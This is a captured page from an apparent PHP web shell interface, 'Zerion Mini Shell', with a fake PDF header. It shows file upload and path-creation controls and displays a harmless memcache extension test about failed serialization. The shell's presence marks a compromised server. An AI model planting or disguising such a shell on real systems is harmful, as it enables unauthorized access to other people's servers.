%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/rs/php/8.3/lib/php/test/memcache/tests/
Upload File :
Create Path :
Current File : /home/rs/php/8.3/lib/php/test/memcache/tests/githubbug53.phpt

--TEST--
Module shouldn't crash on failed serialization
--SKIPIF--
<?php include 'connect.inc'; ?>
--FILE--
<?php
include 'connect.inc';

class foo {
   function __sleep() {
       throw new \Exception("fail");
   }
}

$oFoo = new foo();
$memcache->set('foobar', $oFoo);

--EXPECTF--
Warning: MemcachePool::set(): Failed to serialize value in %s on line %d

Fatal error: Uncaught Exception: fail in %s:%d
Stack trace:
#0 [internal function]: foo->__sleep()
#1 %s(%d): MemcachePool->set('foobar', Object(foo))
#2 {main}
  thrown in %s on line %d

Zerion Mini Shell 1.0